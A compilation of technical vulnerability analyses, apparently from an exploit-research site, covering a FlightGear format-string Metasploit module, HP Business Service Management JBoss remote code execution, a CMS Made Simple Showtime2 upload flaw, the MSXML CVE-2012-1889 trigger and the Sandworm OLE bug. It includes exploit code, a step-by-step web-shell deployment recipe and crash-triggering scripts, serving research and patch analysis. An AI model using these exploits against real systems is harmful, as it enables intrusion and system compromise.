      'References'     =>
        [
          [ 'OSVDB', '92872' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x20\x0a\x0d",
          'DisableNops'  =>  'true',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'FlightGear',   { 'Ret' => 0x41414141 } ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Apr 21 2013'))

    register_options([Opt::RPORT(5501)], self.class)
  end

  def exploit
    connect

    print_status("Trying to send data...")

    sock.put("data\r\n")
    sock.put("set /sim/rendering/clouds3d-enable true\r\n")
    sock.put("set /environment/clouds\r\n")
    sock.put("set /environment/cloudlayers/layers[0]/cu/cloud/name %n\r\n")
    sock.put("set /environment/clouds/layer[0]/coverage cirrus\r\n")
    sock.put("quit\r\n")

    disconnect
  end

end
  • Crash Analysis

On the WIN32 version available here: http://mirrors.ibiblio.org/flightgear/ftp/Windows/Setup%20FlightGear%202.10.0.3.exe

MSVCR100 is used by FlightGear 2.10.0.3, which looks like coming with FormatString Exploitation Protection:

Breakpoint 0 hit
eax=013dfcc4 ebx=022b0ce0 ecx=013df950 edx=00000002 esi=00000001 edi=013df9c4
eip=004a241e esp=013df8f4 ebp=013dfd08 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200287
fgfs+0xa241e:
004a241e ff1550e48b00    call    dword ptr [fgfs!std::_Init_locks::operator=+0x6e189 (008be450)] ds:0023:008be450={MSVCR100!_snprintf (78b05c8a)}
0:000> dd esp
013df8f4  013dfcc4 00000031 013df988 00000001
013df904  98706bbe 00000010 00000000 0000000f
013df914  00000000 3ff00000 00000000 00000000
013df924  023827c8 00000000 00000000 022a5b10
013df934  02479808 0089b0b0 00000000 022acfe0
013df944  00000000 00000000 0230dfd0 252d6e00
013df954  00000064 021706e8 02170000 00000000
013df964  0000000f 0223fa40 013dfb98 7c90e900
0:000> db 013df988
013df988  25 6e 2d 25 64 00 17 24-03 00 00 00 f8 51 24 02  %n-%d..$.....Q$.
013df998  05 00 00 00 0f 00 00 00-15 09 8d 00 25 6e 00 00  ............%n..
013df9a8  00 00 00 00 7e 6f 70 98-00 00 00 00 02 00 00 00  ....~op.........
013df9b8  0f 00 00 00 f0 f9 3d 01-b8 ac 89 00 00 00 00 00  ......=.........
013df9c8  00 00 f0 3f 00 10 7e 00-15 09 8d 00 1b 09 8d 00  ...?..~.........
013df9d8  00 00 00 00 00 00 00 00-0f 00 00 00 00 00 00 00  ................
013df9e8  a8 f9 23 02 80 fc 3d 01-c4 fa 3d 01 00 af 89 00  ..#...=...=.....
013df9f8  be 6c 70 98 c4 fa 3d 01-b0 b0 89 00 00 00 00 00  .lp...=.........
0:000> p
WARNING: Step/trace thread exited
eax=7ffd9000 ebx=013df98a ecx=013df010 edx=7c90e4f4 esi=c0000417 edi=013df900
eip=7c90e4f4 esp=013df5c0 ebp=013df5d0 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
ntdll!KiFastSystemCallRet:
7c90e4f4 c3              ret
0:000> kb
ChildEBP RetAddr  Args to Child
013df5bc 7c90de5c 7c801e3a ffffffff c0000417 ntdll!KiFastSystemCallRet
013df5c0 7c801e3a ffffffff c0000417 013df5fc ntdll!NtTerminateProcess+0xc
013df5d0 78b2af4f ffffffff c0000417 00000001 kernel32!TerminateProcess+0x20
013df5e0 78b2af7d 00000000 00000000 00000000 MSVCR100!_invoke_watson+0x23
013df5fc 78b2af8a 00000000 00000000 00000000 MSVCR100!_invalid_parameter+0x2c
013df614 78b1c7a3 013df8ec 013dfcc4 00000000 MSVCR100!_invalid_parameter_noinfo+0xc
013df8a8 78b05d0e 013df8cc 013df988 00000000 MSVCR100!_output_l+0x86
013df8ec 004a2424 013dfcc4 00000031 013df988 MSVCR100!_snprintf+0x84
WARNING: Stack unwind information not available. Following frames may be wrong.
013dfd08 004a2a3c 00000000 013dfd90 00000000 fgfs+0xa2424
013dfdbc 004a2aed 013dfdfc 0049ed0a 00000004 fgfs+0xa2a3c
013dfdc4 0049ed0a 00000004 00000004 0c0a3b88 fgfs+0xa2aed
013dfdfc 007ec98b 7d035c41 3ff4c78a 98706882 fgfs+0x9ed0a
013dfe34 007ec87a 00000000 3ff00000 00000005 fgfs+0x3ec98b
013dfe78 007ec432 00000000 3ff00000 008c4230 fgfs+0x3ec87a
013dfe90 004196ef 00000000 3ff00000 00000000 fgfs+0x3ec432
013dfeb0 0067d769 98706862 008c4230 0222abc0 fgfs+0x196ef
013dfed4 0041a067 987069aa 0222abc0 00000004 fgfs+0x27d769
013dff1c 00402082 00000004 0222abc0 987069ca fgfs+0x1a067
013dff7c 00850cb3 00000004 0222abc0 02172ee8 fgfs+0x2082
013dffc0 7c817067 217bc3f4 01cec380 7ffd9000 fgfs!std::_Init_locks::operator=+0x9ec
013dfff0 00000000 00850dd4 00000000 00905a4d kernel32!BaseProcessStart+0x23
1
Technical Analysis

Download Software (version 9.10):

http://www8.hp.com/us/en/software-solutions/software.html?compURI=1170773#

Question: is 9.10 vulnerable? It’s the one available for download

Remote Code Execution in HP Business Service Management leads to full system compromise (CVE-2012-2561)

HP Business Service Management (HPBSM) is build around the JBoss Application Server. In its standard configuration and when configured according to the HP installations guide, the newest fully patched version 9.12 comes with an open invoker-servlet (/invoker/JMXInvokerServlet does not require authentication) but more importantly, with RMI (port tcp/4444) and JDNI (tcp/1098 and tcp/1099) accessible without authentication. This gives a remote attacker access to the adapter service and therefore access to MBeans of the JBoss AS.

To exploit the vulnerability, an attacker can remotely deploy an application and call it via RMI. This can be done easily by downloading the official JBoss AS (e.g. jboss-4.2.3.GA) which includes the tool “twiddle.sh” in the bin-directory. With this tool, the RMI interface can be (ab-)used as follows to compromise the HPBSM and get code execution:

  1. jboss-4.2.3.GA/bin/twiddle.sh -s <servername> get jboss.system:type=ServerInfo
    —> this shows that the interface is accessible and does work

  2. create a simple jsp-shell and bundle it as a valid .war file (or use a ready one like http://www.redteam-pentesting.de/files/redteamjboss.tar.gz in the WAR directory)
    —> this will be the shell on the attacked machine

  3. create a base64-representation of the war file (e.g. “base64 -w 0 hpbsm.war >> hpbsm.war.base64”)
    —> this is needed for the deployer script which can only be ascii

  4. create a text file without any line breaks as deployer help script “deployer.bsh”:

import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val=”<insert-hpbsm.war.base64-content>”; BASE64Decoder decoder = new BASE64Decoder(); byte[] byteval=decoder.decodeBuffer(val); FileOutputStream fs = new FileOutputStream(“C:\WINDOWS\TEMP\hpbsm.war”); fs,write(byteval); fs.close();

  1. create the remote file (first remote code execution):
    jboss-4.2.3.GA/bin/twiddle.sh -s <servername> invoke jboss.deployer:service=BSHDeployer createScriptDeployment “cat deployer.bsh” deployer.bsh
    —> this creates the war file in C:\windows\temp on the remote attacked machine

  2. deploy the created file (second remote code execution):
    jboss-4.2.3.GA/bin/twiddle.sh -s <servername> invoke jboss.system:service=MainDeployer deploy “file:C:/WINDOWS/TEMP/hpbsm.war”
    —> now the attackers jsp-shell is deployed

  3. make sure the deployment was successful by looking up your jsp-shell:
    http://<servername>:8080/status?full=true

  4. call the actual shell (in this case, it’s the one from the redteamjboss.tar.gz):
    http://<servername>:8080/hpbsm/shell.jsp?pass=secret&cmd=whoami
    —> the output is “nt/system” which means that the remote code execution did work and the attacker even has the highest possible system rights because the server process runs as nt/system!

This works even through firewalled HPBSM installations which are not allowed to make outgoing requests.

Side note: HPBSM is a product that is used to monitor other critical systems. To be able to do that, HPBSM servers need so called “scripts” which include clear text credentials for the monitored systems! Therefore, an attacker gains not only full access to the HPBSM server itself but potentially gains accounts and credentials to numerous important systems because in general, monitored systems are important :–)

David Elze, 2012-05-21 (vuln found 2012-03-30 & reported 2012-04-02)

1
Technical Analysis

Background

CMS Made Simple (CMSMS) is an open source content management system. It can be used for various purposes such as galleries, company and user directories, guestbooks, E-Commerce, blogs, etc, depending on the module the user installs. It is written in PHP, and runs on MySQL.

One of the commonly downloaded modules for CMSMS is called Showtime2, a slideshow feature. In it, the watermark support allows an authenticated user (likely an administrator) to upload a watermark image, which can be abused to upload a malicious payload.

A Metasploit module was submitted on March 19th 2019, which allowed me to investigate the vulnerability.

Vulnerability Analysis

Environment Setup

In order to analyize the vulnerability, we need to set up a vulnerable environment. The minimal requirements are:

  • A Ubuntu VM that supports Apache, PHP, and MySQL.
  • CMS Made Simple. Since the vulnerability doesn’t actually come from the CMS, the latest should work.
  • A vulnerable version of Showtime2. You can just download the XML file, and import it from the module manager in CMSMS. Once imported, an “install” button will be available for you to actually install the vulnerable Showtime2 module.

Debugging CMSMS

Like other exploit analysis cases, we usually start off with a proof-of-concept from the Metasploit module, and this one is no exception. Since the vulnerability involves uploading something over HTTP, the key moment would be this block of code from the exploit:

data = Rex::MIME::Message.new
data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")
data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")

res = send_request_cgi(
  'method' => 'POST',
  'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data' => data.to_s,
  'headers' => {
    'Cookie' => @cookies
    }
  )

We can see that the exploit uses the Metasploit’s HttpClient API to make a request to admin/moduleinterface.php, so this would be our starting point for the analysis. What is the application doing to our malicious upload request? Let’s check it out.

By looking at the source code for moduleinterface.php, my high level understanding of the code is that this is meant for loading a third-party module. One of the first things we see is the use of the mact parameter, and how the code wants to split that into multiple variables:

if (isset($_REQUEST['mact'])) {
    $ary = explode(',', cms_htmlentities($_REQUEST['mact']), 4);
    $module = (isset($ary[0])?$ary[0]:'');
    $id = (isset($ary[1])?$ary[1]:'m1_');
    $action = (isset($ary[2])?$ary[2]:'');
}

Based on the mact data coming from the exploit, we can break down our data to these:

  • module = “Showtime2”
  • id = “m1_”
  • action = “defaultadmin”

After that, moduleinterface.php creates a new instance for the module the exploit asked by doing:

$modinst = ModuleOperations::get_instance()->get_module_instance($module);

We know that the exploit is requesting the Showtime2 module, which means $modinst is technically a Showtime2 object (found as Showtime2.module.php), and it extends CMSModule (the base class that can be found as class.CMSModule.php). Once the instance is ready, the module interface triggers an action toward the end of the code:

$modinst->DoActionBase($action, $id, $params, '', $smarty);

For a CMSMS module, the term “action” means the a feature to support. For example, if you have a module that supports editing a slideshow, then you could call your action “editslideshow”, and this would be implemented as its own PHP file.

The DoAction* methods actually come from CMSModule (the base class the Showtime2 object extends from), and it basically triggers a PHP file to be included from the modules directory (oh and look, there is even a directory traversal patch):

if ($name != '') {
  //Just in case DoAction is called directly and it's not overridden.
  //See: http://0x6a616d6573.blogspot.com/2010/02/cms-made-simple-166-file-inclusion.html
  $name = preg_replace('/[^A-Za-z0-9\-_+]/', '', $name);

  $filename = $this->GetModulePath().'/action.' . $name . '.php';
  if( !is_file($filename) ) {
    @trigger_error("$name is an unknown acton of module ".$this->GetName());
    throw new \CmsError404Exception("Module action not found");
  }

  // these are included in scope in the included file for convenience.
  $gCms = CmsApp::get_instance();
  $db = $gCms->GetDb();
  $config = $gCms->GetConfig();
  $smarty = ( $this->_action_tpl ) ? $this->_action_tpl : $smarty = $gCms->GetSmarty()->get_template_parent();
  include($filename);
}

If you recall what the exploit is sending in the mact parameter, the specific action we should be looking for is defaultadmin. So based on the above code, we should be looking at action.defaultadmin.php in Showtime2’s directory.

And that’s about how much we need to know about the mechanics of CMSMS, let’s move on to the Showtime2 code.

Debugging Showtime2’s defaultadmin Action

The most interesting part of the defaultadmin action code is of course the upload routine, which occurs almost at the beginning of the file:

if( isset($params['upload_submit'])){
  $params = array('active_tab' => 'watermark');

  $fieldName=$id.'input_browse';

  if (!isset ($_FILES[$fieldName]) || !isset ($_FILES)
    || !is_array ($_FILES[$fieldName]) || !$_FILES[$fieldName]['name']){
    $params['message'] = $this->Lang('error_nofilesuploaded');
    $smarty->assign('message',$this->Lang('error_nofilesuploaded'));
  }else{
    $file = $_FILES[$fieldName];
    // cleanup the filename
    $pos = strrpos($file['name'], '.');
    $alias = substr($file['name'], 0, $pos);
    $alias = preg_replace('/[^a-z0-9-_]+/i','-',$alias);
    $alias = trim($alias . substr($file['name'], $pos), '-');
    $uploadfile = $config['image_uploads_path'].'/'. $alias;

    if (!@move_uploaded_file($file['tmp_name'], $uploadfile)) {
      $smarty->assign('message',$this->Lang('error_nofilesuploaded'));
    }else{
      chmod($uploadfile, 0644);
      $this->SetPreference("watermark_file", $alias);
      $smarty->assign('message',$this->Lang('file_uploaded'));
      $create_watermark =true;
    }
  }
}

After the file is uploaded, it is treated as an image. For example, the next step after the upload is watermarking the image:

if  ($create_watermark){
  $source_image = '../modules/Showtime2/images/watermark_example_org.jpg';
  $dest_image = '../modules/Showtime2/images/watermark_example_new.jpg';
  if(!showtime2_image::watermark_image($source_image,$dest_image,false)){
    $smarty->assign('message',$this->Lang('watermark_warning'));
  }
}

But really, there is way to be sure whether the user uploaded is an image or not; the code just assumes it is. This is what allows the attacker to upload whatever they want and leave a backdoor on the target server.

And this is how much we need to know about the vulnerability. Now that we know how CMSMS utilizes module interface to load a module, and how our file is uploaded, let’s look at the patch.

Patch Analysis

According to the diff here, we know that the patch is implemented in the watermark_image function in class.showtime2_image.php. And it went from the vulnerable code like this (from rev 14)

$watermark_file = $mod->GetPreference('watermark_file');
if ($watermark_file=='watermark.png'){
  $watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png';
}else{
  $watermark_file = $config['image_uploads_path'].'/'.$watermark_file;
}
if (!file_exists($watermark_file)) return false;

To this (rev 47, with the log message indicating this is a security fix):

$watermark_file = $mod->GetPreference('watermark_file');
if ($watermark_file=='watermark.png'){
  $watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png';
}else{
  $watermark_file = $config['image_uploads_path'].'/'.$watermark_file;
}
$fext = strtoupper(substr($watermark_file, strrpos($watermark_file, '.')));
if (!in_array($fext,array('.GIF','.JPG','.JPEG','.PNG')))
  unlink($watermark_file);
if (!file_exists($watermark_file)) return false;

So it looks like the intention of the fix is to check the file extension and make sure the file type is one of these: GIF, JPG, JPEG, and PNG. If there is no match, then it deletes the uploaded file. For the most part, that sounds like a good plan.

A slight concern is that in PHP, you don’t always need the file to be .php to be able to execute code, in some cases it could be anything. Take the following proof-of-concept for example, I’m creating a PHP file named as “fake_image.PNG”, and then I include it from a separate file. The include will still treat the fake image file as a PHP file anyway:

root@sinn3r-virtual-machine:/var/www/html# echo "<?php echo 'Hello World'; ?>" > fake_image.PNG
root@sinn3r-virtual-machine:/var/www/html# echo "<?php include('fake_image.PNG'); ?>" > demo.php
root@sinn3r-virtual-machine:/var/www/html# curl http://localhost/demo.php
Hello World

Luckily for the vendor, the exploit doesn’t rely on a include to exploit the payload, instead it relies on an HTTP request like this:

print_status("Making request for '/#{fname}' to execute payload.")
send_request_cgi(
  {
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)
    },
  15
  )

However, the ability to upload a PHP file with an image extension name is still worth noting from an attacker’s perspective, because it potentially be chained in case of a file inclusion vulnerability in the future.

1
Technical Analysis

This is known as a “state-sponsored ” 0-day to attack certain Gmail users. It has been committed as msxml_get_definition_code_exec.rb in the Metasploit Framework. However, the current version only targets IE6/7 on Windows XP, because the uninitialized memory is on the heap on those targets. On Win Vista + IE 7 and Win XP + IE8, however, it is on the
stack.

Debugging Notes

Crash:

0:008> r
eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528
eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
msxml3!_dispatchImpl::InvokeHelper+0xb4:
749bd772 ff5118          call    dword ptr [ecx+18h]  ds:0023:00000018=????????

0:008> k
ChildEBP RetAddr
020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4
020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e
020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa
020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50
020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa
020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d
020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98
020bf590 633a77ff jscript!VAR::InvokeByName+0x135
020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989
020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f
020bf958 633891f1 jscript!CSession::Execute+0x175
020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0
020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a
020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30
020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219

The crash occurs in dispatchImpl::InvokeHelper(), where:

.text:749BD751 mov     eax, dword ptr [ebp+pvarg.anonymous_0+8]  ;pvarg.anonymous_0+8 = pvarg.lVal
.text:749BD754 cmp     eax, ebx                       ; This checks if eax is null, but doesn't check if [eax] is null
.text:749BD756 mov     esi, eax
.text:749BD758 jz      short loc_749BD780
.text:749BD75A push    [ebp+arg_20]
.text:749BD75D mov     ecx, [eax]                     ; Null pointer dereference, because we didn't check [eax]
.text:749BD75F push    [ebp+arg_1C]
.text:749BD762 push    [ebp+arg_18]
.text:749BD765 push    edi
.text:749BD766 push    3
.text:749BD768 push    [ebp+arg_C]
.text:749BD76B push    offset _GUID_NULL
.text:749BD770 push    ebx
.text:749BD771 push    eax
.text:749BD772 call    dword ptr [ecx+18h]             ; Crash

Heap vs Stack:

Some setups allocate the data on the heap, or a simple heap spray will just do the trick.
But some setups allocate it on the stack, which is a little trick. We found the following solution
from baidu to put data on the stack:

var src = unescape("%u1111%u1111");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;

So in the end, this is how we trigger the bug:

<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object>
<script>
var obj = document.getElementById('#{object_id}').object;
var src = unescape("%u0c08%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(#{rand(999) + 1});
</script>

Final version of the exploit:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb

Analysis

Vupen published a nice blog post about advanced exploitation with this bug here:

http://www.vupen.com/blog/20120717.Advanced_Exploitation_of_Internet_Explorer_XML_CVE-2012-1889_MS12-043.php

Unfortunately, the presented exploitation techniques can not be used if we can not control the
uninitialized data in the stack:

.text:727457A0                 lea     eax, [ebp+vtDisp]
.text:727457A3                 push    eax             ; pvarg
.text:727457A4                 call    ds:__imp__VariantInit@4 ; VariantInit(x)
.text:727457AA                 push    ebx
.text:727457AB                 lea     eax, [ebp+vtDisp]
.text:727457AE                 push    eax
.text:727457AF                 push    2
.text:727457B1                 push    ebx
.text:727457B2                 push    [ebp+dispid]
.text:727457B5                 push    [ebp+pTarget]
.text:727457B8                 call    dword ptr [esi+20h] ; DOMNode::_invokeDOMNode
.text:727457BB                 cmp     eax, ebx
.text:727457BD                 jl      loc_72740BB6

As VUPEN explained in their blog post, DOMNode::_invokeDOMNode should init the memory location at ebp+vtDisp,
but it’s not always true, so controlling ebp+vtDisp allow to reach:

.text:727457C3                 mov     eax, dword ptr [ebp+vtDisp.___u0+8] ; Danger: it isn't ebp+vtDisp, but ebp+vtDisp+8
.text:727457C6                 mov     esi, eax
.text:727457C8                 cmp     eax, ebx
.text:727457CA                 jz      short loc_727457F5
.text:727457CC                 push    [ebp+puArgErr]
.text:727457CF                 mov     ecx, [eax]      ; crash
.text:727457D1                 push    [ebp+pExcepInfo]
.text:727457D4                 push    [ebp+pVarResult]
.text:727457D7                 push    edi
.text:727457D8                 push    3
.text:727457DA                 push    [ebp+lcid]
.text:727457DD                 push    offset _GUID_NULL
.text:727457E2                 push    ebx
.text:727457E3                 push    eax
.text:727457E4                 call    dword ptr [ecx+18h]
.text:727457E7                 mov     [ebp+hr], eax
.text:727457EA                 mov     eax, [esi]
.text:727457EC                 push    esi
.text:727457ED                 call    dword ptr [eax+8]

Where the memory in the stack can be used to do interesting thing. The problem is how to put interesting objects
in the stack, since the pic.nameProp; method doesn’t look usefull at all. There is a lack of documentation in the
VUPEN blog post about how to make it happen, since it assumes you can control the memory in the stack, and just
explores the exploitation possibilities.

There is a clue? in the VUPEN blog:

“The vulnerable variable can be assigned according to the way xmlDoc.definition is called. There are many ways to
put a particular pointer in the vulnerable variable. We can use for example introspection on an object and call
xmlDoc.definition on each of its attributes to list the available objects”

Honestly, here is where VUPEN impresses me, because atm I don’t spot how to put a “partirular pointer in the
vulnerable variable”. Even when playing with introspection seems to allow some results:

<html>
<body onload="f()">

 <div id="div">
 <object id="obj" style="display:none"></object>
 </div>

 <pre id="results">

 </pre>

 <script>
 function f() {
    var test = new ActiveXObject("Msxml2.DOMDocument.6.0");
    var results = document.getElementById("results");

    results.innerHTML += "obj attributes: </br>";

    var count = 0
    for (var v in obj) {
        results.innerHTML += v;
        results.innerHTML += "<br />";
        if (count == 0)
            test.definition(v)
        count++;
    }
    alert(count)

    var o = obj.cloneNode()
    div.appendChild(o)

    results.innerHTML += "After append, new obj attributes <br />"

    count = 0
    for (var v in obj) {
        results.innerHTML += v;
        results.innerHTML += "<br />";
        count++
    }
    alert(count)

  }
 </script>

</body>
</html>

Makes the next crash:

0:004> r
eax=605aa838 ebx=00000000 ecx=5d5b5e5f edx=00000001 esi=605aa838 edi=021fa2a8
eip=703457e4 esp=021f9f2c ebp=021fa068 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
msxml6!_dispatchImpl::InvokeHelper+0xb3:
703457e4 ff5118          call    dword ptr [ecx+18h]  ds:0023:5d5b5e77=????????
0:004> dd eax
605aa838  5d5b5e5f 890008c2 ffff5c8d ea38e9ff
605aa848  c88bffff 8306e9c1 840f01e1 0015ef37
605aa858  5421d233 c9851024 ef32840f 8c8b0015
605aa868  00008c24 83fa2b00 048d03e1 fffffcbd
605aa878  89c10bff 008c2484 e8c10000 24448902
605aa888  247c831c 840f0010 fffff7f0 15ef26e9
605aa898  0f178b00 c10852b6 82f704e2 6066392c
605aa8a8  00004000 9ae5850f ef830017 0ff83b04
0:004> u eax
mshtml!CElement::put_innerHTML+0x75:
605aa838 5f              pop     edi
605aa839 5e              pop     esi
605aa83a 5b              pop     ebx
605aa83b 5d              pop     ebp
605aa83c c20800          ret     8
605aa83f 898d5cffffff    mov     dword ptr [ebp-0A4h],ecx
605aa845 e938eaffff      jmp     mshtml!CSpliceTreeEngine::RemoveSplice+0x7ec (605a9282)
605aa84a 8bc8            mov     ecx,eax

Second try, just follow the VUPEN’s instructions:

<html>
<body onload="f()">

 <div id="div">
 <object id="obj" style="display:none"></object>
 </div>

 <pre id="results">

 </pre>

 <script>
 function f() {
    var test = new ActiveXObject("Msxml2.DOMDocument.6.0");

    var count = 0
    for (var v in obj) {
        if (count == 0)
            test.definition(v)
        count++;
    }
    alert(count)

    var o = obj.cloneNode()
    div.appendChild(o)

    count = 0
    for (var v in obj) {
        v;
    }

  }
 </script>

</body>
</html>

Generates an ugly crash, which doesn’t look profitable at all :

(d14.df0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=703701f2 edx=00000001 esi=00000001 edi=0227a2c8
eip=703457cf esp=02279f6c ebp=0227a088 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
msxml6!_dispatchImpl::InvokeHelper+0x9e:
703457cf 8b08            mov     ecx,dword ptr [eax]  ds:0023:00000001=????????

Another try, trying to get definition, at the end of instrospection:

<html>
<body onload="f()">

 <div id="div">
 <object id="obj" style="display:none"></object>
 </div>

 <pre id="results">

 </pre>

 <script>
 function f() {
    var test = new ActiveXObject("Msxml2.DOMDocument.6.0");

    var count = 0
    for (var v in obj) {
        if (count == 175)
            test.definition(v)
        count++;
    }
    alert(count)

    var o = obj.cloneNode()
    div.appendChild(o)

    count = 0
    for (var v in obj) {
        v;
    }

  }
 </script>

</body>
</html>

Same crash:

0:005> g
(1ac.bb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=703701f2 edx=00000001 esi=00000001 edi=022f9e50
eip=703457cf esp=022f9af4 ebp=022f9c10 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
msxml6!_dispatchImpl::InvokeHelper+0x9e:
703457cf 8b08            mov     ecx,dword ptr [eax]  ds:0023:00000001=????????

Maybe with fuzzing :? time to grinder…

1
Technical Analysis

SETUP

  • Windows 7 SP1
  • Office 2013 (full install)
  • packager.dll 6.1.7600.16385 (Mon Jul 13 20:09:25 2009)

Details

CVE-2014-4114, also known as Sandworm, is a vulnerability found in Windows OLE that allows remote
code execution. It was found in the wild as a PowerPoint file, originally discovered by ESET, and
was patched on Oct 14, 2014.

The vulnerability has to do with how the Object Packager 2 (packager.dll) component handles an
INF file that contains malicious registry changes, which can lead to code execution. First of all,
Packager cannot load the INF file directly, but you can trick it to load your INF file anyway
by embedding the file path as a remote share in an OLE object. When it’s embedded as an OLE object,
it’s possible to make Packager to treat your malicious file as a media file. There are 6 media
formats supported: SOUNDREC, OLE1SOUNDREC, MPlayer, OLE1MPlayer, AVIFile, MIDFile. The MPlayer
format is the one to go for our case, because this will be loaded by the
packager!CPackage::OLE2MPlayerReadFromStream function, which also triggers a CopyFileW call. The
CopyFileW function will download the malicious file from the remote share, save it under the
temp folder, and then pass that information that will be used later.

The following callstack can illustrate the work flow of the loading process:

ChildEBP RetAddr
0029eb98 6ff94b85 packager!CPackage::CreateTempFileName
0029ebb0 6ff94f0a packager!CPackage::OLE2MPlayerReadFromStream+0x118
0029ec14 6ff9665c packager!CPackage::LoadMMStorage+0xe5
0029ec48 75bceb44 packager!CPackage::Load+0xbb
0029ecb8 75bcf2af ole32!wCreateObject+0x1fc [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 3108]
0029ed1c 75bcf1d4 ole32!OleLoadWithoutBinding+0x9c [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1576]
0029ed44 60c6d608 ole32!OleLoad+0x37 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1495]

The actual exploit will try to abuse the above loading routine twice: The first is the fake gif
file, and the other is the INF file. The purpose of that is to make INF file rename the gif one
to .exe, which will happen later.

After the streams are loaded, the Packager component will also look at each OLE object’s command
node in their XML file (in the exploit in the wild, this can be found in slide/slide1.xml), and
determine what media command needs to happen. These media commands are also known as the
“XML Presentation Command class”, which is described in the following:
http://msdn.microsoft.com/en-us/library/documentformat.openxml.presentation.command(v=office.14).aspx

The command class/node is presented as the following XML syntax:

<p:cmd type="type" cmd="cmd">

From the above syntax, there are two important properties: “type” and “cmd”. We’ll explain what
each does.

The type property supports the following:

  • call – Used to call methods on the object specified (play(), pause(), etc.)
  • evt – Used to set an event for the object at this point in the timeline (onstopaudio, etc.)
  • verb – Used to set verbs for the object to occur at this point in the timeline (0, 1, etc.)

The cmd property supports the following:

  • call – play corresponding media
  • play – play corresponding media starting from s, where s is the number of seconds from the
    beginning of the clip.
  • pause – pause corresponding media
  • resume – resume play of corresponding media
  • stop – stop play of corresponding media
  • togglePause – play corresponding media if media is already paused, pause corresponding media if
    media is already playing. If the corresponding media is not active, this command
    restarts the media and plays from its beginning.
  • onstopaudio – stop play of all audio

However, when you’re using the verb type, you have the following commands:

  • 0 – Open the object for editing
  • 1 – Open the object for viewing
  • 3 – Undocumented. But this is what the exploit is using to get the inf to run.

Note that the exploit uses two OLE objects, so there are two commands for each. The first one is
for the fake slide1.gif file. It uses the “verb” type, with cmd of “-3”:

<p:cmd type="verb" cmd="-3">
...
</p:cmd>

The inf file also uses the "verb" type, but with cmd of "3":

<p:cmd type="verb" cmd="3">
...
</p:cmd>

The reason the “verb” type is used is because this will trigger the packager!CPackage::DoVerb
function in the Packager component. When this function sees the slide1.gif file, it will bail right
away due to the -3 cmd. We don’t want it to do anything. However, when the function sees the INF
file, which uses cmd 3, it will ask Windows to find the appropriate handler, which will give us
C:\Windows\System32\infDefaultInstall.exe, and that process will be used to install our malicious
INF file via a CreateProcessW call, and then results in arbitrary code execution.

The following callstack should illustrate the work flow that leads to code execution:

ChildEBP RetAddr
0029db78 767e55c1 kernel32!CreateProcessW
0029dc70 767f2bda SHELL32!_SHCreateProcess+0x251
